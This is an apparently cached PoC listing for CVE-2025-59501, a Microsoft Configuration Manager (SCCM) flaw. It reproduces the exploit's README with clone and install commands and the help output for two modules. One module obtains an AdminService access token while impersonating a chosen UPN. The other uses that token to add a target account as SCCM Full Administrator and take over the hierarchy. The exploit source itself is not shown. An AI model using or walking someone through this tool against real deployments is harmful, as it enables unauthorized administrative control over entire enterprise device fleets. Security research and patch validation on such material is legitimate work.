CVE-2025-59501 PoC — Microsoft Configuration Manager 安全漏洞

Source

https://github.com/garrettfoster13/CVE-2025-59501

Associated Vulnerability

Title:Microsoft Configuration Manager 安全漏洞 (CVE-2025-59501)
Description:Microsoft Configuration Manager是美国微软（Microsoft）公司的一套用于管理企业内部电脑和服务器的解决方案，它可以帮助IT部门保持软件更新、设置配置和安全策略，并监控系统状态。 Microsoft Configuration Manager存在安全漏洞，该漏洞源于未对通信方身份进行充分校验，攻击者可能通过伪造身份绕过登录验证。

Description

CVE-2025-59501 POC code

Readme

# CVE-2025-59501

POC that abuses SCCM's AdminService API when Entra ID integration is enabled to elevate to Full Administrator and takeover an SCCM hierarchy. More details can be found in this [blog](https://specterops.io/blog/2025/11/19/sccm-hierarchy-takeover-via-entra-integrationbecause-of-the-implication/)

# Requirements

[uv](https://docs.astral.sh/uv/getting-started/installation/)

# Install

```
git clone https://github.com/garrettfoster13/CVE-2025-59501.git
cd CVE-2025-59501/
uv sync
```

# Usage

The tool has two modules, token and admin

```
➜  CVE-2025-59501 git:(main) ✗ uv run poc.py
usage: poc.py [-h] {token,admin} ...

POC to abuse CVE-2025-59501 by @unsigned_sh0rt

positional arguments:
  {token,admin}
    token        Get AdminService access token
    admin        Add user as SCCM admin

options:
  -h, --help     show this help message and exit

```
The token module is used to request an access token as an entra/AD user with a UPN you want to impersonate
```
➜  CVE-2025-59501 git:(main) ✗ uv run poc.py token -h
usage: poc.py token [-h] -u USERNAME [-p PASSWORD] -c CLIENT_ID -t TENANT_ID [-s SCOPE]

options:
  -h, --help            show this help message and exit
  -u, --username USERNAME
                        username
  -p, --password PASSWORD
                        password
  -c, --client-id CLIENT_ID
                        azure app clientid
  -t, --tenant-id TENANT_ID
                        entra tenant ID
  -s, --scope SCOPE     resource URI/Scope

```
The admin module uses the token to authenticate to the AdminService API to add a target user account as an SCCM admin
```
➜  CVE-2025-59501 git:(main) ✗ uv run poc.py admin -h
usage: poc.py admin [-h] -t TARGET -u USER -s SID -a ACCESS_TOKEN

options:
  -h, --help            show this help message and exit
  -t, --target TARGET   target SMS provider FQDN or IP address
  -u, --user USER       Username to add as admin
  -s, --sid SID         New admins user's SID
  -a, --access-token ACCESS_TOKEN
                        AdminService access token
```

File Snapshot


 [4.0K]  /data/pocs/adc8f537dfb7b25a52982c68d726f5b6e00c0e06
├── [ 34K]  LICENSE
├── [4.2K]  poc.py
├── [ 227]  pyproject.toml
├── [2.0K]  README.md
└── [ 42K]  uv.lock

1 directory, 5 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!